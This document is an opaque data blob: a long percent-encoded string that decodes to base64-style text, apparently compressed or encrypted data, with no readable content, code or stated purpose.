%34%35%25%35%36%25%35%32%25%32%66%25%35%32%25%34%34%25%35%30%25%34%62%25%37%31%25%32%62%25%36%36%25%34%37%25%34%35%25%37%30%25%33%32%25%34%64%25%34%35%25%35%35%25%36%64%25%34%39%25%35%37%25%36%36%25%36%31%25%34%65%25%36%36%25%36%34%25%35%37%25%32%66%25%35%39%25%37%33%25%37%31%25%36%63%25%33%31%25%37%33%25%37%34%25%35%33%25%36%34%25%34%36%25%36%63%25%36%36%25%37%32%25%34%66%25%36%64%25%36%38%25%37%36%25%33%31%25%35%35%25%33%34%25%34%31%25%37%61%25%36%34%25%36%36%25%36%33%25%36%64%25%36%35%25%34%33%25%37%37%25%33%32%25%37%30%25%37%31%25%37%35%25%33%36%25%34%62%25%33%31%25%33%30%25%37%30%25%33%31%25%36%36%25%37%30%25%35%35%25%36%37%25%35%30%25%34%62%25%33%33%25%34%39%25%35%35%25%34%39%25%32%66%25%33%36%25%34%66%25%32%62%25%34%64%25%35%39%25%36%64%25%33%38%25%34%36%25%34%33%25%33%37%25%35%61%25%34%63%25%35%61%25%34%38%25%34%38%25%36%36%25%33%31%25%35%30%25%33%34%25%35%32%25%37%34%25%37%38%25%36%63%25%36%37%25%36%63%25%35%32%25%34%66%25%35%61%25%34%62%25%33%34%25%37%34%25%34%39%25%33%34%25%34%32%25%36%64%25%34%63%25%35%39%25%37%32%25%33%32%25%36%61%25%35%32%25%32%62%25%37%32%25%37%38%25%34%38%25%36%38%25%34%62%25%34%38%25%32%66%25%36%63%25%37%35%25%33%35%25%34%64%25%36%38%25%37%36%25%33%38%25%34%36%25%34%38%25%35%31%25%33%31%25%36%65%25%32%66%25%36%65%25%35%31%25%34%31%25%34%35%25%34%61%25%32%62%25%33%36%25%33%36%25%36%62%25%33%37%25%35%32%25%35%38%25%35%61%25%34%63%25%33%36%25%35%39%25%34%64%25%35%33%25%37%61%25%36%31%25%35%32%25%35%32%25%34%65%25%37%61%25%33%38%25%34%39%25%36%32%25%35%38%25%35%36%25%33%35%25%37%35%25%34%39%25%35%32%25%33%39%25%34%35%25%37%34%25%33%32%25%35%35%25%35%37%25%37%33%25%37%32%25%35%30%25%34%63%25%32%66%25%37%61%25%37%38%25%35%32%25%35%33%25%36%38%25%36%61%25%36%35%25%33%35%25%37%32%25%35%34%25%37%39%25%36%38%25%36%39%25%34%37%25%33%31%25%32%62%25%35%37%25%36%65%25%36%36%25%35%32%25%32%66%25%37%35%25%33%37%25%33%30%25%34%63%25%37%35%25%35%32%25%36%66%25%36%33%25%33%32%25%35%33%25%36%38%25%37%61%25%36%64%25%36%63%25%34%35%25%36%31%25%34%34%25%36%34%25%37%31%25%34%61%25%33%37%25%36%65%25%33%31%25%36%37%25%36%36%25%36%38%25%36%35%25%37%39%25%37%38%25%33%39%25%36%66%25%34%36%25%35%36%25%34%31%25%33%34%25%36%31%25%33%36%25%34%61%25%36%64%25%33%32%25%34%32%25%34%61%25%37%61%25%34%39%25%37%38%25%33%36%25%34%36%25%33%34%25%36%63%25%34%34%25%36%66%25%36%62%25%34%66%25%35%61%25%34%66%25%37%33%25%35%61%25%34%65%25%35%31%25%35%39%25%34%39%25%35%30%25%34%39%25%34%39%25%35%61%25%36%61%25%33%39%25%33%33%25%37%37%25%34%37%25%35%31%25%32%66%25%34%63%25%34%65%25%36%36%25%33%31%25%37%38%25%33%35%25%35%61%25%35%36%25%34%35%25%34%33%25%33%38%25%33%33%25%33%34%25%34%64%25%37%32%25%34%62%25%36%61%25%32%62%25%37%30%25%34%66%25%32%66%25%36%34%25%37%39%25%33%35%25%33%30%25%34%37%25%34%35%25%34%36%25%36%37%25%34%39%25%36%31%25%37%35%25%36%61%25%36%35%25%32%66%25%34%32%25%32%62%25%37%35%25%36%34%25%37%36%25%33%32%25%34%32%25%33%33%25%34%37%25%36%65%25%37%35%25%37%39%25%36%34%25%34%65%25%35%36%25%34%62%25%36%35%25%34%34%25%36%35%25%36%32%25%34%39%25%33%32%25%35%33%25%35%30%25%35%34%25%36%33%25%33%35%25%37%36%25%37%34%25%34%61%25%36%62%25%35%32%25%35%39%25%36%38%25%33%34%25%34%36%25%34%61%25%34%31%25%33%31%25%33%33%25%35%30%25%34%66%25%36%34%25%37%37%25%37%36%25%34%62%25%35%36%25%37%37%25%36%64%25%37%31%25%34%66%25%34%64%25%36%31%25%33%33%25%37%61%25%36%62%25%37%33%25%35%33%25%34%61%25%36%37%25%37%30%25%36%32%25%34%38%25%34%35%25%34%31%25%34%35%25%33%35%25%34%38%25%33%35%25%36%38%25%35%61%25%34%38%25%34%38%25%33%35%25%36%35%25%33%39%25%36%39%25%34%61%25%36%33%25%35%32%25%34%33%25%35%33%25%34%35%25%35%35%25%36%37%25%35%39%25%36%39%25%34%36%25%36%35%25%32%62%25%36%66%25%34%39%25%34%38%25%36%36%25%35%36%25%36%33%25%34%39%25%36%36%25%35%37%25%36%66%25%33%35%25%33%36%25%34%38%25%36%31%25%36%33%25%33%33%25%37%36%25%33%34%25%34%38%25%37%33%25%36%32%25%36%36%25%35%34%25%33%34%25%36%34%25%36%32%25%37%30%25%33%33%25%37%30%25%34%32%25%34%64%25%36%32%25%33%33%25%35%30%25%36%32%25%37%37%25%34%61%25%33%33%25%35%34%25%32%62%25%36%33%25%36%66%25%35%32%25%34%65%25%33%30%25%36%61%25%35%39%25%33%34%25%34%39%25%35%61%25%37%30%25%35%32%25%33%39%25%37%33%25%33%36%25%34%33%25%37%39%25%34%38%25%34%33%25%34%65%25%35%33%25%34%39%25%37%39%25%35%33%25%36%66%25%37%39%25%34%35%25%36%65%25%34%33%25%36%33%25%37%38%25%33%39%25%35%39%25%35%39%25%34%38%25%37%38%25%37%30%25%37%31%25%33%31%25%34%66%25%36%64%25%37%38%25%35%35%25%35%35%25%35%38%25%33%39%25%34%66%25%36%61%25%36%31%25%34%35%25%35%35%25%36%63%25%34%39%25%37%33%25%36%36%25%36%32%25%36%38%25%35%33%25%34%64%25%36%66%25%33%36%25%34%32%25%37%30%25%35%61%25%37%34%25%35%30%25%35%39%25%36%39%25%37%34%25%33%32%25%34%65%25%37%33%25%35%33%25%34%64%25%32%62%25%32%62%25%36%33%25%36%65%25%37%34%25%36%63%25%34%64%25%35%32%25%33%30%25%36%64%25%33%31%25%35%36%25%35%37%25%35%38%25%33%32%25%36%61%25%37%61%25%36%34%25%37%33%25%34%37%25%33%36%25%33%38%25%33%31%25%34%34%25%37%36%25%35%32%25%34%31%25%36%63%25%37%36%25%36%38%25%33%38%25%34%65%25%33%30%25%35%39%25%36%35%25%36%61%25%37%32%25%34%64%25%36%34%25%33%38%25%34%62%25%36%39%25%34%62%25%32%62%25%32%62%25%33%39%25%35%61%25%33%39%25%35%31%25%34%34%25%36%62%25%36%37%25%34%61%25%35%31%25%35%34%25%35%38%25%36%66%25%36%35%25%37%30%25%34%32%25%35%30%25%32%66%25%34%39%25%37%35%25%34%34%25%34%37%25%35%35%25%35%39%25%35%36%25%36%39%25%37%37%25%34%61%25%34%37%25%33%39%25%34%31%25%37%38%25%33%36%25%37%32%25%35%61%25%36%61%25%36%39%25%34%65%25%34%61%25%37%36%25%33%30%25%37%32%25%36%34%25%33%33%25%35%31%25%37%30%25%37%30%25%34%35%25%33%36%25%35%61%25%33%33%25%37%31%25%32%66%25%36%64%25%36%39%25%36%64%25%36%35%25%34%36%25%36%36%25%35%31%25%33%31%25%33%31%25%36%64%25%34%35%25%35%36%25%34%36%25%37%61%25%34%39%25%35%30%25%35%35%25%33%37%25%35%34%25%37%33%25%34%32%25%36%35%25%34%66%25%35%61%25%36%36%25%36%65%25%37%36%25%36%37%25%36%35%25%34%33%25%34%65%25%36%39%25%36%63%25%36%63%25%37%35%25%33%36%25%34%66%25%37%37%25%33%34%25%34%64%25%36%35%25%35%31%25%36%35%25%36%31%25%33%39%25%36%34%25%37%35%25%36%63%25%33%36%25%32%66%25%32%66%25%37%61%25%33%32%25%34%64%25%35%31%25%37%34%25%33%35%25%34%65%25%34%34%25%35%33%25%32%66%25%36%32%25%33%38%25%36%62%25%36%61%25%36%65%25%33%32%25%36%65%25%37%30%25%34%66%25%36%32%25%37%61%25%36%31%25%33%37%25%37%36%25%37%36%25%34%66%25%34%66%25%33%39%25%37%30%25%33%36%25%33%30%25%33%33%25%37%36%25%34%37%25%35%32%25%35%30%25%33%30%25%34%32%25%33%37%25%32%62%25%33%35%25%32%62%25%37%61%25%35%34%25%36%31%25%34%63%25%33%35%25%36%35%25%36%61%25%34%64%25%37%38%25%36%66%25%34%35%25%36%34%25%33%37%25%36%66%25%36%36%25%35%32%25%34%65%25%34%36%25%37%31%25%33%37%25%33%38%25%34%66%25%34%34%25%34%64%25%34%63%25%36%63%25%34%63%25%33%37%25%35%30%25%34%61%25%36%34%25%34%38%25%37%35%25%33%34%25%34%37%25%33%36%25%34%66%25%36%61%25%33%31%25%33%30%25%36%32%25%33%36%25%34%38%25%36%39%25%35%36%25%32%62%25%36%61%25%37%36%25%33%37%25%33%34%25%35%38%25%33%32%25%33%30%25%37%35%25%35%31%25%36%63%25%34%35%25%35%35%25%36%64%25%34%33%25%34%63%25%33%36%25%35%38%25%34%36%25%34%37%25%36%62%25%34%62%25%33%32%25%35%36%25%33%38%25%34%33%25%34%63%25%35%34%25%34%38%25%36%65%25%37%36%25%35%32%25%34%37%25%35%31%25%36%33%25%36%38%25%36%35%25%34%36%25%36%34%25%36%36%25%37%36%25%34%64%25%32%66%25%36%39%25%33%32%25%36%35%25%34%34%25%34%33%25%33%35%25%34%65%25%34%65%25%36%62%25%34%63%25%34%62%25%35%36%25%33%34%25%34%65%25%36%38%25%37%38%25%33%31%25%32%62%25%33%34%25%33%34%25%34%32%25%34%65%25%32%62%25%33%31%25%37%34%25%37%35%25%37%37%25%35%36%25%34%39%25%36%37%25%37%36%25%34%35%25%37%37%25%34%66%25%37%30%25%36%34%25%37%34%25%37%37%25%36%32%25%36%39%25%33%30%25%34%66%25%37%33%25%34%34%25%34%62%25%34%65%25%35%32%25%34%32%25%34%32%25%34%61%25%34%36%25%37%34%25%37%30%25%34%35%25%37%34%25%33%36%25%34%62%25%35%32%25%35%31%25%35%38%25%33%35%25%36%64%25%34%63%25%36%37%25%33%35%25%37%35%25%36%62%25%37%34%25%37%36%25%36%32%25%36%62%25%37%33%25%36%39%25%34%35%25%33%30%25%37%61%25%37%32%25%37%39%25%33%35%25%36%38%25%34%31%25%37%36%25%34%36%25%35%37%25%35%31%25%34%36%25%35%37%25%33%33%25%36%66%25%34%33%25%35%33%25%36%32%25%37%35%25%36%61%25%37%31%25%37%32%25%35%61%25%35%36%25%34%65%25%34%64%25%37%35%25%33%33%25%36%31%25%33%36%25%36%35%25%33%33%25%35%37%25%34%31%25%36%31%25%37%35%25%32%62%25%34%37%25%34%62%25%34%34%25%34%66%25%34%62%25%36%64%25%36%37%25%36%63%25%37%37%25%35%30%25%37%38%25%34%39%25%34%62%25%36%38%25%37%38%25%35%35%25%34%65%25%37%38%25%33%30%25%34%64%25%34%62%25%36%61%25%36%39%25%33%37%25%33%32%25%36%39%25%34%36%25%35%61%25%37%36%25%37%61%25%35%38%25%36%66%25%33%31%25%33%37%25%36%62%25%33%37%25%36%63%25%34%33%25%36%61%25%36%63%25%34%65%25%37%39%25%36%31%25%34%35%25%37%33%25%33%31%25%35%39%25%33%35%25%36%61%25%36%64%25%37%32%25%34%38%25%36%64%25%34%36%25%36%64%25%34%31%25%34%63%25%35%38%25%35%34%25%36%31%25%33%31%25%37%35%25%37%38%25%37%32%25%36%31%25%36%32%25%36%64%25%37%33%25%36%65%25%36%39%25%33%32%25%36%62%25%36%39%25%33%31%25%32%66%25%36%37%25%37%30%25%33%38%25%34%39%25%33%36%25%37%61%25%34%37%25%34%64%25%37%32%25%37%34%25%33%33%25%37%39%25%36%32%25%36%37%25%37%39%25%36%33%25%33%33%25%37%35%25%35%61%25%35%39%25%35%61%25%33%34%25%37%36%25%36%38%25%35%39%25%36%66%25%35%35%25%33%38%25%35%30%25%34%61%25%36%63%25%34%31%25%37%32%25%34%36%25%35%31%25%34%61%25%36%39%25%32%66%25%33%37%25%32%66%25%33%37%25%37%38%25%35%39%25%36%38%25%36%66%25%34%36%25%35%36%25%34%64%25%33%34%25%33%39%25%37%31%25%34%36%25%34%32%25%33%36%25%34%63%25%32%62%25%35%31%25%34%34%25%33%37%25%37%61%25%32%62%25%36%34%25%35%34%25%36%31%25%32%66%25%32%66%25%32%66%25%36%39%25%35%31%25%33%39%25%34%37%25%36%38%25%37%32%25%34%35%25%34%31%25%34%61%25%34%38%25%36%31%25%36%38%25%36%65%25%34%36%25%37%31%25%37%37%25%36%31%25%36%39%25%37%34%25%36%36%25%34%35%25%37%37%25%35%38%25%33%36%25%33%36%25%33%34%25%34%39%25%37%37%25%32%66%25%35%32%25%34%32%25%34%37%25%33%34%25%34%35%25%36%35%25%36%62%25%36%66%25%34%62%25%36%31%25%36%38%25%37%30%25%35%37%25%34%65%25%36%37%25%36%66%25%37%31%25%34%38%25%36%38%25%37%38%25%33%35%25%32%62%25%36%36%25%35%31%25%34%64%25%34%36%25%34%33%25%36%38%25%36%32%25%34%37%25%37%39%25%34%33%25%32%62%25%36%33%25%35%33%25%34%33%25%36%36%25%34%34%25%34%36%25%34%31%25%35%34%25%34%61%25%37%39%25%34%62%25%36%61%25%33%34%25%34%31%25%35%31%25%34%64%25%32%66%25%34%39%25%36%38%25%37%37%25%33%39%25%36%36%25%37%36%25%36%39%25%37%37%25%34%33%25%34%32%25%34%34%25%34%37%25%37%61%25%36%62%25%34%65%25%36%37%25%33%34%25%34%66%25%34%35%25%35%37%25%36%37%25%33%39%25%33%30%25%36%31%25%35%32%25%35%31%25%34%64%25%37%38%25%37%32%25%36%35%25%33%32%25%37%36%25%33%34%25%35%36%25%35%35%25%35%32%25%36%38%25%33%30%25%36%35%25%35%36%25%36%34%25%34%34%25%36%62%25%36%63%25%37%32%25%34%64%25%37%30%25%37%37%25%37%33%25%33%35%25%35%34%25%34%36%25%37%30%25%33%36%25%35%34%25%33%38%25%36%31%25%34%37%25%33%32%25%35%37%25%35%35%25%34%63%25%34%37%25%36%63%25%36%65%25%36%31%25%33%38%25%34%33%25%35%38%25%36%65%25%34%63%25%36%65%25%34%62%25%33%31%25%34%64%25%34%32%25%36%66%25%34%33%25%36%36%25%35%31%25%35%35%25%33%39%25%34%65%25%35%31%25%37%33%25%34%34%25%35%30%25%35%32%25%34%64%25%33%39%25%34%38%25%37%39%25%34%36%25%33%38%25%36%33%25%35%30%25%33%34%25%34%64%25%37%37%25%36%65%25%34%31%25%34%32%25%35%32%25%34%39%25%34%35%25%33%38%25%35%32%25%36%34%25%34%64%25%34%61%25%36%62%25%35%31%25%36%37%25%33%38%25%33%34%25%35%32%25%36%64%25%33%37%25%34%31%25%36%63%25%37%32%25%37%30%25%34%37%25%34%64%25%36%61%25%36%33%25%35%61%25%35%32%25%36%39%25%36%38%25%34%65%25%36%34%25%34%38%25%36%39%25%34%32%25%35%34%25%34%36%25%34%62%25%36%63%25%37%31%25%35%35%25%34%37%25%34%36%25%36%31%25%37%38%25%36%66%25%37%33%25%35%31%25%37%38%25%36%39%25%34%35%25%36%33%25%35%33%25%34%37%25%34%33%25%35%38%25%37%39%25%36%62%25%36%33%25%35%32%25%35%38%25%34%64%25%36%61%25%33%38%25%37%30%25%34%31%25%37%31%25%35%33%25%34%37%25%35%34%25%36%64%25%36%63%25%34%62%25%33%30%25%37%39%25%36%66%25%36%61%25%35%37%25%37%34%25%36%62%25%33%35%25%33%36%25%35%38%25%33%39%25%33%30%25%36%66%25%35%37%25%36%34%25%34%62%25%33%39%25%36%65%25%34%64%25%34%63%25%34%34%25%36%35%25%37%33%25%36%33%25%36%66%25%33%36%25%33%31%25%33%32%25%36%66%25%36%39%25%34%39%25%37%32%25%36%66%25%37%37%25%34%33%25%33%36%25%37%30%25%33%38%25%36%66%25%33%34%25%33%34%25%37%39%25%36%63%25%34%65%25%35%33%25%34%35%25%34%65%25%36%63%25%33%34%25%36%66%25%36%37%25%37%37%25%34%66%25%36%36%25%34%35%25%34%38%25%34%37%25%34%64%25%34%37%25%34%33%25%37%39%25%34%31%25%35%37%25%35%32%25%35%35%25%33%37%25%34%36%25%37%61%25%37%33%25%34%38%25%34%65%25%36%62%25%32%62%25%33%35%25%36%62%25%37%32%25%34%64%25%36%63%25%34%36%25%36%32%25%34%62%25%35%36%25%37%38%25%35%37%25%36%33%25%33%31%25%36%65%25%34%63%25%37%30%25%35%36%25%34%33%25%36%62%25%34%39%25%36%39%25%34%35%25%33%32%25%35%35%25%34%65%25%36%61%25%34%33%25%36%32%25%34%62%25%37%34%25%35%31%25%34%66%25%33%38%25%35%34%25%33%34%25%34%39%25%36%33%25%36%38%25%35%30%25%37%38%25%34%34%25%33%39%25%37%33%25%36%33%25%37%31%25%37%39%25%37%35%25%34%35%25%34%39%25%34%31%25%34%65%25%37%34%25%34%32%25%34%38%25%35%35%25%34%61%25%34%35%25%34%32%25%37%39%25%32%66%25%37%39%25%35%30%25%36%63%25%37%32%25%35%33%25%35%31%25%34%39%25%34%32%25%34%63%25%36%34%25%33%39%25%37%34%25%35%36%25%35%38%25%34%39%25%33%38%25%34%66%25%34%36%25%32%62%25%37%32%25%37%61%25%34%63%25%33%36%25%35%30%25%33%35%25%33%31%25%34%63%25%33%32%25%35%31%25%32%66%25%36%32%25%35%35%25%35%36%25%34%62%25%37%61%25%36%62%25%33%35%25%36%35%25%36%64%25%36%63%25%34%32%25%35%34%25%36%32%25%36%38%25%36%35%25%36%61%25%36%66%25%34%33%25%37%34%25%33%32%25%34%35%25%36%31%25%37%39%25%37%37%25%35%38%25%37%35%25%33%37%25%37%61%25%32%62%25%36%64%25%36%37%25%36%61%25%33%30%25%34%62%25%37%38%25%35%34%25%37%36%25%35%33%25%33%32%25%33%37%25%33%32%25%37%31%25%37%36%25%36%36%25%34%39%25%34%63%25%35%31%25%33%33%25%37%61%25%35%35%25%33%31%25%34%36%25%37%36%25%37%34%25%37%36%25%36%66%25%34%36%25%37%61%25%36%36%25%36%31%25%34%37%25%35%39%25%34%63%25%37%37%25%37%37%25%34%34%25%35%39%25%37%32%25%36%33%25%36%63%25%36%62%25%32%66%25%33%38%25%36%34%25%36%34%25%33%35%25%32%66%25%32%66%25%36%38%25%35%39%25%34%35%25%37%38%25%35%32%25%34%62%25%35%31%25%35%39%25%35%38%25%37%37%25%35%34%25%34%63%25%36%31%25%36%32%25%36%65%25%36%37%25%34%66%25%37%39%25%34%38%25%34%62%25%33%35%25%33%38%25%36%64%25%36%35%25%34%66%25%36%38%25%36%33%25%32%66%25%33%35%25%36%66%25%35%34%25%33%31%25%33%38%25%36%31%25%35%39%25%35%38%25%35%34%25%35%32%25%34%63%25%34%64%25%33%30%25%33%31%25%32%62%25%36%62%25%35%38%25%36%38%25%32%66%25%32%62%25%37%38%25%37%35%25%34%31%25%37%34%25%36%37%25%37%34%25%36%39%25%35%33%25%36%35%25%33%32%25%36%31%25%36%35%25%34%38%25%34%64%25%34%31%25%32%66%25%37%38%25%34%32%25%35%38%25%35%36%25%35%33%25%33%31%25%35%33%25%35%34%25%34%38%25%33%35%25%33%37%25%35%32%25%36%64%25%33%36%25%34%64%25%36%39%25%36%35%25%34%33%25%33%33%25%37%35%25%35%33%25%35%38%25%36%62%25%35%36%25%36%61%25%37%39%25%34%33%25%34%31%25%34%62%25%37%35%25%34%33%25%35%31%25%34%37%25%37%33%25%34%35%25%34%36%25%37%36%25%33%37%25%37%37%25%35%35%25%37%61%25%34%34%25%34%37%25%33%35%25%34%36%25%36%36%25%36%38%25%34%37%25%34%64%25%34%39%25%33%30%25%34%37%25%36%64%25%34%64%25%36%62%25%35%34%25%37%35%25%34%33%25%34%35%25%34%31%25%36%62%25%34%35%25%35%32%25%37%34%25%34%65%25%34%61%25%37%61%25%32%62%25%34%33%25%34%61%25%37%35%25%36%34%25%32%62%25%34%33%25%36%33%25%35%37%25%33%35%25%35%36%25%34%62%25%34%31%25%35%35%25%36%37%25%36%35%25%37%37%25%33%30%25%36%63%25%34%62%25%35%36%25%34%35%25%36%66%25%36%31%25%35%32%25%34%62%25%33%34%25%34%34%25%35%39%25%32%62%25%36%61%25%34%66%25%36%61%25%34%61%25%36%37%25%35%32%25%37%33%25%37%61%25%33%34%25%34%62%25%35%32%25%35%35%25%34%39%25%36%63%25%33%30%25%34%35%25%33%36%25%33%30%25%33%31%25%35%33%25%34%34%25%34%35%25%36%63%25%35%61%25%36%66%25%34%39%25%34%31%25%37%33%25%33%30%25%35%32%25%32%62%25%34%65%25%34%36%25%37%39%25%36%37%25%33%35%25%36%66%25%34%65%25%35%30%25%33%38%25%37%33%25%36%32%25%36%64%25%37%39%25%34%63%25%34%38%25%37%33%25%34%31%25%37%38%25%33%37%25%35%31%25%34%33%25%37%35%25%37%33%25%34%37%25%36%65%25%35%30%25%35%61%25%37%36%25%33%35%25%37%32%25%33%32%25%32%66%25%37%61%25%35%38%25%34%61%25%36%38%25%35%33%25%32%62%25%33%33%25%37%36%25%33%31%25%36%36%25%36%38%25%37%39%25%37%38%25%36%39%25%33%35%25%34%38%25%35%36%25%37%30%25%34%64%25%33%37%25%37%39%25%33%37%25%32%62%25%34%62%25%37%37%25%36%38%25%34%66%25%37%32%25%33%33%25%34%36%25%33%32%25%33%38%25%34%36%25%33%30%25%36%65%25%35%34%25%34%31%25%36%61%25%34%38%25%36%65%25%37%32%25%33%30%25%34%34%25%36%39%25%34%61%25%35%32%25%34%34%25%36%35%25%32%62%25%37%33%25%35%31%25%35%37%25%36%33%25%35%33%25%35%61%25%35%35%25%37%61%25%34%35%25%34%62%25%36%31%25%35%61%25%33%32%25%37%39%25%35%39%25%37%34%25%37%38%25%36%64%25%34%65%25%35%32%25%34%64%25%32%66%25%33%35%25%37%31%25%33%30%25%37%39%25%34%37%25%36%61%25%33%37%25%33%38%25%36%38%25%35%38%25%33%35%25%37%34%25%36%62%25%35%61%25%36%31%25%37%36%25%34%31%25%34%32%25%35%61%25%36%38%25%36%63%25%32%62%25%34%62%25%36%62%25%34%34%25%35%31%25%33%34%25%36%33%25%35%38%25%32%66%25%33%36%25%35%30%25%37%35%25%35%32%25%33%32%25%34%34%25%35%39%25%37%38%25%34%66%25%32%66%25%33%31%25%35%34%25%34%35%25%36%62%25%33%34%25%34%64%25%34%62%25%37%35%25%33%37%25%36%64%25%33%34%25%34%63%25%35%38%25%34%61%25%37%36%25%37%37%25%36%65%25%35%34%25%33%37%25%37%34%25%34%34%25%34%65%25%37%38%25%35%61%25%34%32%25%35%33%25%34%34%25%37%33%25%36%37%25%35%30%25%33%38%25%36%34%25%34%65%25%33%30%25%32%66%25%33%37%25%37%33%25%36%61%25%35%34%25%36%37%25%36%36%25%35%33%25%34%61%25%36%65%25%33%34%25%34%36%25%34%34%25%35%34%25%34%66%25%34%39%25%37%34%25%34%33%25%34%62%25%36%36%25%37%34%25%33%38%25%35%32%25%34%32%25%35%31%25%36%65%25%36%66%25%36%64%25%36%64%25%33%30%25%35%39%25%33%38%25%36%36%25%34%61%25%33%39%25%37%61%25%35%30%25%35%61%25%36%34%25%34%35%25%33%34%25%33%37%25%33%34%25%33%36%25%37%38%25%37%61%25%37%61%25%37%32%25%37%36%25%36%37%25%36%66%25%36%62%25%37%33%25%37%35%25%37%35%25%32%62%25%34%62%25%33%36%25%34%37%25%33%36%25%33%36%25%33%36%25%35%32%25%36%64%25%36%36%25%33%37%25%37%39%25%35%38%25%37%36%25%37%34%25%37%33%25%33%39%25%33%38%25%34%32%25%34%32%25%37%38%25%33%31%25%37%39%25%33%32%25%34%32%25%34%36%25%34%38%25%34%38%25%35%38%25%35%30%25%35%33%25%34%62%25%36%33%25%36%35%25%36%34%25%37%37%25%34%34%25%34%33%25%34%34%25%36%61%25%34%31%25%35%37%25%37%33%25%37%33%25%34%61%25%34%62%25%36%64%25%32%62%25%33%31%25%34%32%25%37%31%25%35%36%25%34%35%25%36%39%25%33%38%25%33%34%25%37%61%25%35%31%25%35%33%25%37%61%25%35%30%25%37%30%25%33%35%25%35%39%25%36%62%25%34%63%25%34%64%25%34%31%25%34%31%25%34%62%25%34%39%25%34%37%25%34%38%25%34%63%25%36%31%25%34%36%25%35%31%25%34%32%25%36%38%25%34%62%25%34%31%25%36%32%25%36%39%25%33%39%25%37%31%25%37%32%25%34%63%25%37%61%25%34%36%25%33%36%25%36%65%25%33%37%25%36%65%25%37%33%25%33%38%25%37%30%25%36%33%25%34%64%25%37%38%25%33%31%25%33%31%25%33%30%25%35%31%25%35%61%25%33%31%25%37%39%25%36%39%25%36%64%25%37%38%25%36%38%25%34%63%25%35%39%25%35%32%25%33%33%25%37%34%25%36%34%25%35%37%25%37%61%25%34%32%25%33%37%25%33%38%25%36%31%25%36%38%25%34%39%25%34%37%25%33%32%25%36%38%25%37%38%25%35%35%25%36%39%25%34%32%25%36%36%25%33%36%25%32%62%25%34%32%25%37%36%25%32%66%25%33%34%25%33%34%25%37%31%25%33%33%25%36%38%25%33%39%25%34%64%25%35%36%25%36%32%25%33%39%25%34%64%25%35%30%25%34%35%25%34%39%25%37%33%25%36%35%25%37%32%25%37%37%25%37%31%25%37%30%25%34%64%25%36%38%25%37%39%25%35%38%25%36%35%25%37%61%25%33%35%25%33%35%25%36%62%25%36%31%25%33%38%25%33%38%25%33%37%25%33%37%25%32%66%25%35%30%25%34%39%25%36%35%25%37%35%25%37%33%25%33%34%25%34%37%25%36%64%25%35%61%25%36%31%25%35%30%25%33%36%25%35%30%25%34%36%25%35%33%25%33%30%25%35%34%25%35%31%25%37%39%25%35%39%25%34%35%25%33%38%25%35%38%25%34%31%25%37%34%25%35%33%25%36%66%25%32%66%25%36%61%25%33%31%25%33%30%25%35%32%25%36%63%25%34%62%25%35%39%25%37%37%25%34%35%25%36%32%25%34%62%25%34%66%25%34%32%25%36%33%25%33%34%25%35%39%25%37%37%25%34%39%25%34%31%25%34%36%25%33%34%25%34%31%25%34%31%25%34%31%25%34%39%25%34%34%25%34%64%25%37%36%25%35%39%25%37%36%25%36%32%25%34%39%25%34%39%25%34%64%25%33%30%25%33%34%25%34%37%25%35%35%25%36%36%25%37%35%25%37%37%25%36%61%25%37%37%25%35%38%25%33%32%25%35%30%25%33%38%25%35%31%25%34%32%25%33%38%25%34%31%25%35%31%25%35%30%25%32%66%25%35%35%25%34%63%25%34%39%25%34%33%25%34%35%25%34%31%25%37%37%25%35%31%25%34%31%25%34%32%25%37%61%25%36%37%25%34%31%25%34%31%25%37%32%25%34%31%25%33%35%25%34%66%25%34%31%25%34%39%25%33%34%25%36%33%25%34%33%25%37%30%25%36%37%25%36%33%25%37%37%25%36%61%25%33%35%25%34%34%25%36%31%25%36%37%25%37%33%25%36%37%25%33%34%25%37%37%25%36%66%25%35%38%25%37%32%25%36%66%25%34%64%25%36%61%25%36%32%25%35%31%25%37%37%25%37%37%25%34%32%25%34%33%25%34%38%25%35%38%25%36%36%25%35%61%25%35%39%25%34%64%25%35%33%25%33%38%25%36%63%25%36%63%25%36%63%25%37%36%25%33%39%25%34%66%25%33%31%25%36%65%25%33%33%25%33%36%25%37%33%25%34%35%25%33%38%25%35%38%25%37%39%25%36%63%25%35%39%25%37%33%25%36%62%25%36%37%25%33%32%25%37%39%25%35%33%25%36%62%25%36%63%25%35%33%25%33%36%25%35%37%25%36%62%25%34%63%25%34%61%25%36%37%25%35%30%25%34%65%25%33%31%25%36%39%25%36%32%25%36%34%25%36%32%25%37%31%25%36%34%25%33%36%25%35%35%25%37%37%25%33%32%25%37%36%25%37%38%25%34%62%25%37%36%25%37%34%25%37%37%25%34%64%25%36%62%25%34%33%25%35%35%25%37%32%25%34%61%25%33%31%25%34%36%25%36%38%25%34%63%25%34%31%25%37%39%25%33%31%25%37%61%25%37%38%25%34%32%25%35%35%25%36%35%25%36%65%25%37%39%25%34%63%25%34%63%25%35%36%25%33%33%25%33%31%25%37%33%25%34%62%25%37%61%25%33%35%25%35%33%25%36%66%25%34%37%25%35%31%25%36%35%25%34%61%25%33%30%25%36%63%25%34%62%25%37%36%25%33%38%25%33%30%25%34%37%25%33%37%25%33%31%25%34%37%25%33%31%25%36%35%25%36%61%25%33%38%25%34%31%25%33%33%25%36%37%25%34%61%25%33%39%25%36%36%25%36%66%25%33%30%25%35%35%25%34%62%25%34%65%25%36%62%25%33%36%25%36%34%25%35%38%25%36%61%25%34%61%25%34%32%25%34%31%25%34%34%25%37%37%25%35%30%25%35%30%25%35%61%25%35%35%25%36%35%25%36%66%25%33%35%25%33%35%25%36%64%25%36%65%25%36%63%25%35%37%25%36%35%25%37%37%25%37%39%25%35%30%25%32%66%25%35%30%25%34%38%25%35%35%25%37%38%25%33%38%25%33%37%25%36%61%25%37%33%25%36%62%25%36%33%25%33%33%25%34%38%25%33%31%25%33%31%25%36%37%25%37%36%25%36%62%25%36%38%25%36%63%25%35%31%25%34%33%25%37%34%25%34%31%25%34%36%25%33%30%25%34%33%25%32%62%25%34%31%25%35%39%25%34%32%25%36%34%25%36%37%25%34%37%25%37%35%25%34%31%25%35%36%25%35%34%25%37%61%25%32%62%25%35%33%25%33%32%25%32%66%25%36%36%25%34%39%25%37%38%25%34%65%25%34%65%25%37%33%25%33%39%25%33%31%25%33%39%25%37%61%25%37%37%25%37%37%25%33%30%25%33%31%25%36%34%25%34%61%25%37%36%25%36%32%25%36%36%25%34%34%25%34%62%25%35%37%25%34%31%25%37%35%25%34%65%25%35%35%25%36%32%25%36%39%25%34%37%25%32%66%25%37%36%25%33%37%25%33%33%25%33%33%25%37%36%25%36%63%25%36%37%25%37%33%25%36%64%25%33%31%25%35%37%25%34%62%25%36%32%25%34%61%25%36%31%25%37%33%25